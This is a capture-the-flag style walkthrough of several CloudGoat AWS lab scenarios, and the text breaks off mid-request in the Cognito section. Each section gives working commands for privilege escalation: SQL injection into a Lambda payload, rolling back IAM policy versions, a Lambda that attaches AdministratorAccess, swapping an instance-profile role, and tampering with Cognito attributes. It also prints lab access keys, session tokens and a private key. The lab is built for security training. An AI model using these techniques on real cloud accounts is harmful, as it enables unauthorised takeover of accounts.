Warning Spoilers!

This is a write up the current CloudGoat scenarios.

https://github.com/RhinoSecurityLabs/cloudgoat

Setup

git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py

If you run into an issue when installing the requirements you may have to install a newer version of PyYAML.

If your using custom aws profiles use the following command.

./cloudgoat.py config profile

Scenarios

Easy

IAM Privesc by Key Rotation

I created this scenario, a full walk through can be found here on the website

Vulnerable Lambda

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/vulnerable_lambda/README.md

Launch the scenario with the following python command

./cloudgoat.py create vulnerable_lambda

Once its deployed export the credentials to a new shell

export AWS_ACCESS_KEY_ID='AKIAZ6IIT5XUU6BMN7VT'
export AWS_SECRET_ACCESS_KEY='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'

Lets see what permissions we have, but first we need to know what username is.

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUR7RDW7BCR",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/cg-bilbo-vulnerable_lambda_cgidiun2nbhv12"
# }
aws iam list-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidiun2nbhv12
# {
#     "PolicyNames": [
#         "cg-bilbo-vulnerable_lambda_cgidiun2nbhv12-standard-user-assumer"
#     ]
# }

aws iam get-user-policy --user-name cg-bilbo-vulnerable_lambda_cgidiun2nbhv12 --policy-name cg-bilbo-vulnerable_lambda_cgidiun2nbhv12-standard-user-assumer

Viewing the IAM policy we can view iam permissions and assume a role.

{
    "UserName": "cg-bilbo-vulnerable_lambda_cgidiun2nbhv12",
    "PolicyName": "cg-bilbo-vulnerable_lambda_cgidiun2nbhv12-standard-user-assumer",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::0123456789:role/cg-lambda-invoker*",
                "Sid": ""
            },
            {
                "Action": [
                    "iam:Get*",
                    "iam:List*",
                    "iam:SimulateCustomPolicy",
                    "iam:SimulatePrincipalPolicy"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": ""
            }
        ]
    }
}

Lets find and assume that role

aws iam list-roles --output=json | jq '.Roles[] |  {role: .Arn, user: .AssumeRolePolicyDocument.Statement[].Principal.AWS} | select(.user != null)'
# {
#   "role": "arn:aws:iam::0123456789:role/cg-lambda-invoker-vulnerable_lambda_cgidiun2nbhv12",
#   "user": "arn:aws:iam::0123456789:user/cg-bilbo-vulnerable_lambda_cgidiun2nbhv12"
# }
aws sts assume-role --role-arn arn:aws:iam::0123456789:role/cg-lambda-invoker-vulnerable_lambda_cgidiun2nbhv12 --role-session-name lambda-role
# {
#     "Credentials": {
#         "AccessKeyId": "ASIAZ6IIT5XUUNTCMTU5",
#         "SecretAccessKey": "gzK6x7WNuJukxcN8Z5uV/h0sZHyZTrNxABjkrNUy",
#         "SessionToken": "IQoJb3JpZ2luX2VjEJr//////////wEaCXVzLWVhc3QtMSJHMEUCIQDlvrMcsANTHOcUOVcxG7JseAI0E9fOqyWsPLivdK53jwIgD/DAPXum+DozhvRMhPUA9IO2UpbexJooNkq/91bO148qkwIIYxACGgw2ODM0NTQ3NTQyODEiDBEuPQqPZHeaZSDxwirwAZQXc3NjUTvxWa73I/lkTlcQmHhju1E139y/pP69zxIsvxN8d9CHDR7TgPqj48OmTpimvXT7rGP9hO+84MZrqq/bG3nVi7qlZkpN3ruk4PruLq3xi3YbOLhky9DBvn2ZO9SoTFvoThWk+mse7ApxFx2UIsXwdHMoPQ6K4apMv7tRqAKKaEF+lMqajm3SerFpTYyUOgI8l08nhPuzvpuU8kdQZehmivDhE+D7CA6EvXRjXofB7Q0AXepxPXrEFURVmXhWfmNul+IhYuTNSNpDgoPC47hh8WFEhZtF6SpXNVfCcoxZbIVCX4L6CPwFBGkY+jCL+qinBjqdAeYS7ndbhhjr9Y6jRpzBjkH6jiyqOw68lcjarasHxF7gOF/Grc2tFyDR0EED8jpXO9JCnPWZ7mbk/DQMMCOymfZEuIj0Ipqd4aOV/Y5pBECtlVCWnOzjnDHc7OPXamRpBKpk6dyTisUA7CQgAmmZa6KuEwUcvukMwdwHsHlK6MAbqQiIjiXOTUEgP2OVnX3E4hS4DwBFuEwUg2qp49Q=",
#         "Expiration": "2023-08-26T18:57:31+00:00"
#     },
#     "AssumedRoleUser": {
#         "AssumedRoleId": "AROAZ6IIT5XUT7QGRZ3Z6:lambda",
#         "Arn": "arn:aws:sts::0123456789:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidiun2nbhv12/lambda"
#     }
# }

In a new shell export the credentials

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU2PSFJ6FW
export AWS_SECRET_ACCESS_KEY=rT59jQ86bZE293M6/aysT6KlUa1yfnWYDG/UwkTk
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEKz//////////wEaDJtJ4tPnm5LWJq7xUyK2AXkvvrWFo+fyRLMhfxmduYcOpcPBqcP8vwiFttJ7GnBoY6PIs811KLBkdieB9i3ooEB9ZqbfEir8uyk4z7l4L2g7AoKpKFBQRnbVHL0U/bVCSF2iJJQP4FKHsDJI14O5NsWr+R+RDtp8t9IATiQ2HR/rxmBtY9wOXJ1QWMvxbcmYq+AjDVzPLosOuEcRnRxkSANieEjlkmkQHWg5rp8yj58TiJWAnvQGv4+GAf3M7EYeTqYkb+7PKLmAqacGMi0I35zH3EkowQV1+6XCIKJSrRVVLn3zIE2SGQf474AjQhcxzMW8ECodmVrCmH8=

Again we can look at what permissions we have access to

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Action": [
                "lambda:ListFunctionEventInvokeConfigs",
                "lambda:InvokeFunction",
                "lambda:ListTags",
                "lambda:GetFunction",
                "lambda:GetPolicy"
            ],
            "Effect": "Allow",
            "Resource": [
                "arn:aws:lambda:us-east-1:0123456789:function:vulnerable_lambda_cgidiun2nbhv12-policy_applier_lambda1",
                "arn:aws:lambda:us-east-1:0123456789:function:vulnerable_lambda_cgidiun2nbhv12-policy_applier_lambda1"
            ]
        },
        {
            "Action": [
                "lambda:ListFunctions",
                "iam:Get*",
                "iam:List*",
                "iam:SimulateCustomPolicy",
                "iam:SimulatePrincipalPolicy"
            ],
            "Effect": "Allow",
            "Resource": "*"
        }
    ]
}

Lets find what the lambda function does.

aws lambda list-functions

aws lambda get-function --function-name vulnerable_lambda_cgidiun2nbhv12-policy_applier_lambda1

# Investigate the source code
aws lambda get-function --function-name vulnerable_lambda_cgidiun2nbhv12-policy_applier_lambda1 --query 'Code.Location'

The function tags two inputs a list policy_names and a string user_name.

aws lambda invoke --function-name vulnerable_lambda_cgidiun2nbhv12-policy_applier_lambda1 --payload '{"policy_names": ["AdministratorAccess"], "user_name": "cg-bilbo-vulnerable_lambda_cgidiun2nbhv12"}' --cli-binary-format raw-in-base64-out output.txt

cat output.txt
# "AdministratorAccess is not an approved policy, please only choose from approved policies and don't cheat. :) "

Looking into the code more we see the following line.

statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"

AdministratorAccess is not allowed because public = false and the other roles we could try to assume are all read only.

Luckily the function does not validate or sanitize the inputs, we can perform SQL injection.

Buy adding '-- to the end of the policy name AdministratorAccess it end the query by making the following lines comments.

It will evaluate like the following statement = f"select policy_name from policies where policy_name='{policy}'

Lets try it again

aws lambda invoke --function-name vulnerable_lambda_cgidiun2nbhv12-policy_applier_lambda1 --payload '{"policy_names": ["AdministratorAccess'\''--"], "user_name": "cg-bilbo-vulnerable_lambda_cgidiun2nbhv12"}' --cli-binary-format raw-in-base64-out output.txt
# We have to use `'\'' to escape the quote in bash`

cat output.txt
# "All managed policies were applied as expected.

Success! Back in the user shell (now admin) we can retrieve the flag

aws secretsmanager list-secrets

aws secretsmanager get-secret-value --secret-id vulnerable_lambda_cgidiun2nbhv12-final_flag
# "SecretString": "cg-secret-012345-012345"
./cloudgoat.py destroy vulnerable_lambda

IAM Privesc by Rollback

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/iam_privesc_by_rollback/README.md

Spin up and get basic information with the following commands

./cloudgoat.py create iam_privesc_by_rollback

export AWS_ACCESS_KEY_ID='AKIAZ6IIT5XUT6LV56FV'
export AWS_SECRET_ACCESS_KEY='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'

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUSLMAHA6CJ",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/raynor-iam_privesc_by_rollback_cgidvry1h42vnr"
# }

We know this scenario has to deal with policies. Lets see whats attached to our iam user.

aws iam list-attached-user-policies --user-name raynor-iam_privesc_by_rollback_cgidvry1h42vnr
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidvry1h42vnr",
            "PolicyArn": "arn:aws:iam::0123456789:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidvry1h42vnr"
        }
    ]
}

Lets investigate the role

aws iam list-policy-versions --policy-arn arn:aws:iam::0123456789:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidvry1h42vnr
{
    "Versions": [
        {
            "VersionId": "v5",
            "IsDefaultVersion": false,
            "CreateDate": "2023-08-27T18:29:44+00:00"
        },
        {
            "VersionId": "v4",
            "IsDefaultVersion": false,
            "CreateDate": "2023-08-27T18:29:44+00:00"
        },
        {
            "VersionId": "v3",
            "IsDefaultVersion": false,
            "CreateDate": "2023-08-27T18:29:44+00:00"
        },
        {
            "VersionId": "v2",
            "IsDefaultVersion": false,
            "CreateDate": "2023-08-27T18:29:44+00:00"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2023-08-27T18:29:43+00:00"
        }
    ]
}

Lets find out what permission each version has

aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidvry1h42vnr --version-id v1

In addition to iam:Get* & iam:List* we also have the ability to set policy versions with iam:SetDefaultPolicyVersion.

Looking through the other version.

  • v2 allows only the ability to get iam resources
  • v3 read s3 objects
  • v4 denys everything
  • v5 😮 every permission!

Lets switch to that version

aws iam set-default-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidvry1h42vnr --version-id v5

Were now an AWS admin!

./cloudgoat.py destroy iam_privesc_by_rollback

Lambda Privesc

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/lambda_privesc/README.md

./cloudgoat.py create lambda_privesc

export AWS_ACCESS_KEY_ID='AKIAZ6IIT5XUSOYMQUHH'
export AWS_SECRET_ACCESS_KEY='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'

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XU64FZKGJYA",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/chris-lambda_privesc_cgidt53zn9cqo5"
# }
aws iam list-attached-user-policies --user-name chris-lambda_privesc_cgidt53zn9cqo5
# {
#     "AttachedPolicies": [
#         {
#             "PolicyName": "cg-chris-policy-lambda_privesc_cgidt53zn9cqo5",
#             "PolicyArn": "arn:aws:iam::0123456789:policy/cg-chris-policy-lambda_privesc_cgidt53zn9cqo5"
#         }
#     ]
# }

aws iam list-user-policies --user-name chris-lambda_privesc_cgidt53zn9cqo5
# None

Investigating the policy. We can assume another role

aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-chris-policy-lambda_privesc_cgidt53zn9cqo5 --version-id v1
# {
#     "PolicyVersion": {
#         "Document": {
#             "Statement": [
#                 {
#                     "Action": [
#                         "sts:AssumeRole",
#                         "iam:List*",
#                         "iam:Get*"
#                     ],
#                     "Effect": "Allow",
#                     "Resource": "*",
#                     "Sid": "chris"
#                 }
#             ],
#             "Version": "2012-10-17"
#         },
#         "VersionId": "v1",
#         "IsDefaultVersion": true,
#         "CreateDate": "2023-08-27T22:45:31+00:00"
#     }
# }

Lets look for roles that we can assume

aws iam list-roles
# Name: cg-lambdaManager-role-lambda_privesc_cgidt53zn9cqo5
# Arn: arn:aws:iam::0123456789:role/cg-lambdaManager-role-lambda_privesc_cgidt53zn9cqo5

This roles also look important for this scenario

  • cg-debug-role-lambda_privesc_cgidt53zn9cqo5

Before we assume the role lets see what permissions the role has

aws iam list-attached-role-policies --role-name cg-lambdaManager-role-lambda_privesc_cgidt53zn9cqo5
# {
#     "AttachedPolicies": [
#         {
#             "PolicyName": "cg-lambdaManager-policy-lambda_privesc_cgidt53zn9cqo5",
#             "PolicyArn": "arn:aws:iam::0123456789:policy/cg-lambdaManager-policy-lambda_privesc_cgidt53zn9cqo5"
#         }
#     ]
# }

aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-lambdaManager-policy-lambda_privesc_cgidt53zn9cqo5 --version-id v1
# {
#     "PolicyVersion": {
#         "Document": {
#             "Statement": [
#                 {
#                     "Action": [
#                         "lambda:*",
#                         "iam:PassRole"
#                     ],
#                     "Effect": "Allow",
#                     "Resource": "*",
#                     "Sid": "lambdaManager"
#                 }
#             ],
#             "Version": "2012-10-17"
#         },
#         "VersionId": "v1",
#         "IsDefaultVersion": true,
#         "CreateDate": "2023-08-27T22:45:31+00:00"
#     }
# }

The role grants us full lambda access and the ability to assign roles to functions

Now we can assume the role

aws sts assume-role --role-arn arn:aws:iam::0123456789:role/cg-lambdaManager-role-lambda_privesc_cgidt53zn9cqo5 --role-session-name lambda-role
# {
#     "Credentials": {
#         "AccessKeyId": "ASIAZ6IIT5XURGGLUDP6",
#         "SecretAccessKey": "XoveF6JVBzdiP4wWa9GOYxZjiDiMRe78o55Yaabc",
#         "SessionToken": "IQoJb3JpZ2luX2VjELf//////////wEaCXVzLXdlc3QtMiJHMEUCIQCVqp3sm7zmCL8wtZFSUcBKj09snvKCtTnDXCDHQOgbkAIgFl/GF/CAVMOebffcjaXaUnZj2sJJDeGkB8AwgAT9VpoqoQIIgP//////////ARACGgw2ODM0NTQ3NTQyODEiDGgnxRfyWjZksN9AqCr1AQ3sRAotvMApq/smo/FChPQdTD1EDOnzfP5sLcy1+vvfvj7JfliEM71nwtwK0kvacjVkhYX2Q8/gALnV4PYkns5HIEmWt0mghqJduI+SfGlAjlxqyNhpki8mARF+Wa6FNAsJz5A3XLt0nkMb/D8fB4lvKTRAo93liB0T1KxR+TmTfG/Y5uXwl3sjzPFGbb3Abk2Lz8M1cyMyTC8UPyLGzi6Vj8NVoQPMLoFDsUMpU2zWhbTuoJcoO0NiACemp5VLzWjWuKqiPe+ucVeZZTo5su9nWrn1uR/YX97OpWWOuY9SHlZb1uqc6N6eoQaPqiaZ5D9MDqprMJeor6cGOp0BJ6XXw5gEzA7S6g3IteAB7b+Ep9vEnyAEGVh1wi+rAtteaSntvJGe6SzzZhs3al5iQU5W0GAG5xIHrY7oyrlUjoOvgb4b3bVPU06ZB2A+3upR7JpZQDEiy+TF0nI+fEwFhCAodZqpBBH50q0CeqW3pTsrWU8xWOVv+aGix+Ab+6JoJG9hdNsPckoCFg8DskLeUUcMm6qAxuCtybq7Bg==",
#         "Expiration": "2023-08-27T23:54:15+00:00"
#     },
#     "AssumedRoleUser": {
#         "AssumedRoleId": "AROAZ6IIT5XUSMP4WAOBY:lambda-role",
#         "Arn": "arn:aws:sts::0123456789:assumed-role/cg-lambdaManager-role-lambda_privesc_cgidt53zn9cqo5/lambda-role"
#     }
# }

In a new shell export the credentials

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XURGGLUDP6
export AWS_SECRET_ACCESS_KEY=XoveF6JVBzdiP4wWa9GOYxZjiDiMRe78o55Yaabc
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjELf//////////wEaCXVzLXdlc3QtMiJHMEUCIQCVqp3sm7zmCL8wtZFSUcBKj09snvKCtTnDXCDHQOgbkAIgFl/GF/CAVMOebffcjaXaUnZj2sJJDeGkB8AwgAT9VpoqoQIIgP//////////ARACGgw2ODM0NTQ3NTQyODEiDGgnxRfyWjZksN9AqCr1AQ3sRAotvMApq/smo/FChPQdTD1EDOnzfP5sLcy1+vvfvj7JfliEM71nwtwK0kvacjVkhYX2Q8/gALnV4PYkns5HIEmWt0mghqJduI+SfGlAjlxqyNhpki8mARF+Wa6FNAsJz5A3XLt0nkMb/D8fB4lvKTRAo93liB0T1KxR+TmTfG/Y5uXwl3sjzPFGbb3Abk2Lz8M1cyMyTC8UPyLGzi6Vj8NVoQPMLoFDsUMpU2zWhbTuoJcoO0NiACemp5VLzWjWuKqiPe+ucVeZZTo5su9nWrn1uR/YX97OpWWOuY9SHlZb1uqc6N6eoQaPqiaZ5D9MDqprMJeor6cGOp0BJ6XXw5gEzA7S6g3IteAB7b+Ep9vEnyAEGVh1wi+rAtteaSntvJGe6SzzZhs3al5iQU5W0GAG5xIHrY7oyrlUjoOvgb4b3bVPU06ZB2A+3upR7JpZQDEiy+TF0nI+fEwFhCAodZqpBBH50q0CeqW3pTsrWU8xWOVv+aGix+Ab+6JoJG9hdNsPckoCFg8DskLeUUcMm6qAxuCtybq7Bg==

Lets create a lambda function to grant us admin permission

First we need the code were going to upload. Put the following python code in a file called index.py.

import boto3

def handler(event, lambda_context):
  client = boto3.client('iam')

  response = client.attach_user_policy(
      UserName='chris-lambda_privesc_cgidt53zn9cqo5',
      PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
  )
zip -r index.zip index.py

aws lambda create-function \
    --function-name lambda-privesc \
    --runtime python3.11 \
    --zip-file fileb://index.zip \
    --handler index.handler \
    --role arn:aws:iam::0123456789:role/cg-debug-role-lambda_privesc_cgidt53zn9cqo5

Now lets trigger the function and give our user admin permissions

aws lambda invoke --function-name lambda-privesc output.txt

cat output.txt
# Should be empty
Cleanup
rm index.py index.zip output.txt

aws lambda delete-function --function-name lambda-privesc

aws iam detach-user-policy --user-name chris-lambda_privesc_cgidt53zn9cqo5 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

./cloudgoat.py destroy lambda_privesc

Moderate

IAM Privesc by Attachment

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/iam_privesc_by_attachment/README.md

The goal in this scenario is to delete a EC2 server.

./cloudgoat.py create iam_privesc_by_attachment

export AWS_ACCESS_KEY_ID='AKIAZ6IIT5XU7QV63L4R'
export AWS_SECRET_ACCESS_KEY='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'

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XU47LSA77L2",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/kerrigan"
# }
aws iam list-attached-user-policies --user-name kerrigan

aws iam list-user-policies --user-name kerrigan

No permissions for both, knowing that this scenario deals with EC2 lets try to describe the servers.

aws ec2 describe-instances
# {......}

From the json object returned take note of the following:

  • Instance id (i-00cf3889bc74aed87) this is the server we have to terminate
  • Subnet id subnet-0cc9a41f94e9da27a
  • Security groups sg-0422383bac48d44db & sg-0b9ea556c1458fc49
aws ec2 terminate-instances --instance-ids i-00cf3889bc74aed87

Trying to terminate the instance results in an error

Lets create a new ssh key pair.

aws ec2 create-key-pair --key-name iam_privesc_by_attachment
# {
#     "KeyFingerprint": "24:40:85:1c:44:3b:f0:2e:80:c8:01:17:a3:1d:f1:bd:2c:63:34:f6",
#     "KeyMaterial": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEArVpONCageQc9SGzS8Gnf0AueHG3XLSeYNfd3E0IBhvgqqA+c\nWjOK/mPJYIhTzz1Hyp+8zHfFZUENcGN6ojDRKl2vdGN2XDk2PVQhbk+81k7D/8Ix\nn6XwdHopMpObxSFw87NcEQlUx7sR7MEfe1LFqeco4JXCqd09N8ggvLMgxsXf4T18\n+u1No/1/bTC0bsTyD3VGaeGBmr2t0quFb0IT9R9YEc0pAPcRPrZvIMnSF1XPMG+2\nF6kdPuq4Sj1YD7J/rS4M2TF5aY1tyIyKNNdxuGLjLNxVCIopZzBdscUu2n9e0jRe\nWWioBa5HWXO2xCSUJzpszLP/dmMCrpkOns/6cQIDAQABAoIBAEsPdBc+tnNRQCbR\nABEbNs7liOO0Z9xkbZLIgSW0iebAI/A7Oi8QbFm0KWkD/o4YcbJ5sg0yuyUZotEM\nMfhyfM8EW8lgm8pY93RcrlEOc6yz1Eg09Lm050X380i0A1m7HiZXfkDeMnh9Nsi1\n4oTKlU35CokcL3rPkgdKP2qVgVavdYlJU7+14OCcXhMXtT4x5iyjtn1wlLYFa8RE\nBI5Fm8Me0If58Xb7mta0xy6O/mlMDZadUW9XauNP+9Vx//bB3JYobHnQLrPcow7E\n8EcrNJm/ymS53Ns1d8zmNgDB/XIsRDY6nTAtWAwBXorGcJeEzqU3Gy1WmTfqzJ+x\n+dMuV1UCgYEA7RJQA0f6iQeUUeqO3kB+twjvUdtXZnc0j+twucV4DysqPkksp9Kb\nTk2t013QFlTo1BKue+RW3DHruSGLnbKrky6OsnvBb3JSZqdhZJqGjSENxdRHUX7Z\nGLnCAN3dfS3EH33ydwM9ci35/15x4qAQ7D/iYEcJUdAP8HPGOKx4iHMCgYEAuzGY\nh5d0WJD/IAmFn6ylCsPkbRcYevDHszpmWjnE4E8QFjstIpVdMo92M4jScg+lBdh9\nSWwxiA0yGgC0NIYzxmpHdfyBgjrAq+R/7fLpI9csX2xM78oVWxnChiev0E9V6BjK\nPXvWWmTk7bhdxXj25zmBBUGDGwCZ9Ne322mFjIsCgYEAxUqUI+bm7NrN6E4Xj4aE\n7bYV1D2Bwtg5efwp17AqdhUqFqO28gMnFEc4/cn4vlzzVmolox0n3B//WBY+poJm\nnxoDzy2GkUTGpn9tYdfnWdPELnq2z2+NJDKS7T22cdKAgOTDv5+Gp1rzzj2+8Sbc\nbn/L2OvFKbzJRwZSVB/UP1kCgYEAqO+scQn9RQSuSjJttlmvpNR/LPh/7kuoXhah\nUmH6TFjt8rI7HI/hyQRxrzaWfbuiuXDUONP8q4UFJzRlbVWEGlfF4DQeiPIO+dJA\npfTn9KF2+TMbB/i/ZzULOdlNMNi4dbsRoYVGQNP3SpZtgg6V/L0HtD+YW2EikDWy\nRsCndtsCgYEAib/7CnSOBy8ZLKpoRq9BhG/hOHEIQtq8ZlL/h17O44VjYOhThNtQ\n4DJWXSypOXc6DmMuGJyuPveD0LzJ5stGLXYK9f7SZTtDz2i0f9NewSo4Ec++eLoP\n4Pv7G75b540YZTtZ1J/sG+gYssnXCvqwLNWl/IRJbCRNXO1aXyprdYg=\n-----END RSA PRIVATE KEY-----",
#     "KeyName": "iam_privesc_by_attachment",
#     "KeyPairId": "key-05cdfc35c1b0fe336"
# }

Save the key in a local file (key.pem)

Lets create an EC2 instance to connect through

aws ec2 run-instances --image-id ami-053b0d53c279acc90 --instance-type t3.micro --count 1 --subnet-id subnet-0cc9a41f94e9da27a --key-name iam_privesc_by_attachment --security-group-ids sg-0422383bac48d44db sg-0b9ea556c1458fc49 --associate-public-ip-address

Keep track of the instances Id i-0de965ab2cf9c2ed2

Lets attach an IAM instance profile & role with permissions to the instance we just spun up.

aws iam list-roles
# cg-ec2-meek-role-iam_privesc_by_attachment_cgidffnrqb5fm9
# cg-ec2-mighty-role-iam_privesc_by_attachment_cgidffnrqb5fm9

aws iam list-instance-profiles
# "InstanceProfileName": "cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidffnrqb5fm9"
# "Arn": "arn:aws:iam::0123456789:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidffnrqb5fm9"
# "RoleName": "cg-ec2-meek-role-iam_privesc_by_attachment_cgidffnrqb5fm9"

Lets switch the meek with the mighty role on the instance profile

aws iam remove-role-from-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidffnrqb5fm9 --role-name cg-ec2-meek-role-iam_privesc_by_attachment_cgidffnrqb5fm9

aws iam add-role-to-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidffnrqb5fm9 --role-name cg-ec2-mighty-role-iam_privesc_by_attachment_cgidffnrqb5fm9

Lets attach to instance profile to the EC2 instance

aws ec2 associate-iam-instance-profile --instance-id i-0de965ab2cf9c2ed2 --iam-instance-profile '{"Arn": "arn:aws:iam::0123456789:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidffnrqb5fm9", "Name": "cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidffnrqb5fm9"}'

Lets now SSH in the server with the public IP address we can get with the following command

aws ec2 describe-instances --instance-ids i-0de965ab2cf9c2ed2 | jq '.Reservations[0].Instances[0].PublicIpAddress'
# 1.912.222.192

Now lets go in with SSH

chmod 400 key.pem

ssh [email protected] -i key.pem
# [email protected]$

sudo apt update
sudo apt install awscli -y

aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XU67HSGNLGC:i-0de965ab2cf9c2ed2",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ec2-mighty-role-iam_privesc_by_attachment_cgidffnrqb5fm9/i-0de965ab2cf9c2ed2"
# }

aws ec2 terminate-instances --instance-ids i-00cf3889bc74aed87 --region us-east-1
Cleanup

From the server we launched terminate itself

aws ec2 terminate-instances --instance-ids i-0de965ab2cf9c2ed2 --region us-east-1
rm key.pem

aws ec2 delete-key-pair --key-name iam_privesc_by_attachment

./cloudgoat.py destroy iam_privesc_by_attachment

Vulnerable Cognito

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/vulnerable_cognito/README.md

./cloudgoat.py create vulnerable_cognito
# apigateway_url = https://fx3txcvzul.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidx7zfdn5bx2/index.html

In this scenario there are two attacks that can be performed.

  • The first is creation of cognito user
  • Getting cognito credentials from the identity pool

View the api gateway websites source code. The following information can be found in a script

UserPoolId: 'us-east-1_0NyB14dfp'
ClientId: '18ov266rjnjtvdd4l2lc4rj84'

With them we can create a new user bypassing the signup form on the website

aws cognito-idp sign-up --client-id 18ov266rjnjtvdd4l2lc4rj84 --username [email protected] --password Qwerty123! --user-attributes '[{"Name":"given_name","Value":"foo"},{"Name":"family_name","Value":"ipsum"}]'

# Verify the account
aws cognito-idp confirm-sign-up --client-id 18ov266rjnjtvdd4l2lc4rj84 --username [email protected] --confirmation-code 823892

Authenticating with our new user we can view what attributes we have. custom:access = reader

aws cognito-idp initiate-auth --auth-flow USER_PASSWORD_AUTH --client-id 18ov266rjnjtvdd4l2lc4rj84 --auth-parameters USERNAME=[email protected],PASSWORD=Qwerty123!

export COGNITO_TOKEN='eyJraWQiOiJtTnh1SU13a3J4S0t6c0U3dHEyRXJnNkpQbU9ualFpR1RNQUZZMmJKQjRNPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4ZDEwZjM0NC02NDc4LTRiMTItYmVjMS02OGM2ZDY0MjI1MTgiLCJpc3MiOiJodHRwczpcL1wvY29nbml0by1pZHAudXMtZWFzdC0xLmFtYXpvbmF3cy5jb21cL3VzLWVhc3QtMV8wTnlCMTRkZnAiLCJjbGllbnRfaWQiOiIxOG92MjY2cmpuanR2ZGQ0bDJsYzRyajg0Iiwib3JpZ2luX2p0aSI6ImY2MDlkNjlkLTllMzEtNDE2Zi05ZmI0LTA2MjliODRmM2Q2ZSIsImV2ZW50X2lkIjoiZTRmN2M3NTYtZGFhMS00YzBlLThjNzctZjA2NmQ2NmU4MGRhIiwidG9rZW5fdXNlIjoiYWNjZXNzIiwic2NvcGUiOiJhd3MuY29nbml0by5zaWduaW4udXNlci5hZG1pbiIsImF1dGhfdGltZSI6MTY5MzIyNjM4MywiZXhwIjoxNjkzMjI5OTgyLCJpYXQiOjE2OTMyMjYzODMsImp0aSI6IjA5NjM5ZTNiLTcxNjgtNDVlZi04YTgwLTc3MTRjYjVlYmFlZiIsInVzZXJuYW1lIjoiOGQxMGYzNDQtNjQ3OC00YjEyLWJlYzEtNjhjNmQ2NDIyNTE4In0.np15mQgbOLV8lhvjSLc3HBfNl9quM1j9P3t4P3lyjiDeOSkv9DwYlc191nQzdBzJ34CigP-39IAm4c3wxAtCJe4Rl6o9K2X26wQ0fE5jRYbjMFeBT7ynYPxqisfWWzrVuZZfYNKXEs3wKreebTL-4RYfA6ADER1RttJpHaY4SUpg78cwQnpaLvg7nH1CvRqlrmCiCfHr5YdOagfeUYARF3pC7qYMmpb-Do9BnavkfUV2tQ-sZ7obzSV4TrImkIlm3uu4p2dNODyhQdIk-t-yScpcxM4zIHnaQy0EF-b96fQsShWrUUV0Ks5lYVpbQV9W52DJ9gC3R9s8egw9-r6x2g'

aws cognito-idp get-user --access-token $COGNITO_TOKEN
# {
#     "Username": "8d10f344-6478-4b12-bec1-68c6d6422518",
#     "UserAttributes": [
#         {
#             "Name": "custom:access",
#             "Value": "reader"
#         },
#         {
#             "Name": "sub",
#             "Value": "8d10f344-6478-4b12-bec1-68c6d6422518"
#         },
#         {
#             "Name": "email_verified",
#             "Value": "true"
#         },
#         {
#             "Name": "given_name",
#             "Value": "foo"
#         },
#         {
#             "Name": "family_name",
#             "Value": "ipsum"
#         },
#         {
#             "Name": "email",
#             "Value": "[email protected]"
#         }
#     ]
# }

Lets try to update the attribute on our user

aws cognito-idp update-user-attributes --access-token $COGNITO_TOKEN --user-attributes '[{"Name":"custom:access","Value":"admin"}]'

aws cognito-idp get-user --access-token $COGNITO_TOKEN
# Were now an admin

The second attack will be to steal credentials from the identity pool.

First we need to capture the identity pool and token. If we intercept the requests on the website, I’ll use the proxy Hetty but any proxy should work.

brew install --cask google-chrome

brew install hettysoft/tap/hetty

hetty --chrome

One of the packets contains the identity pool id & logins.

{
    "IdentityPoolId": "us-east-1:eb5e41e7-f3bf-4ce4-acff-9f3668316db2",
    "Logins": {
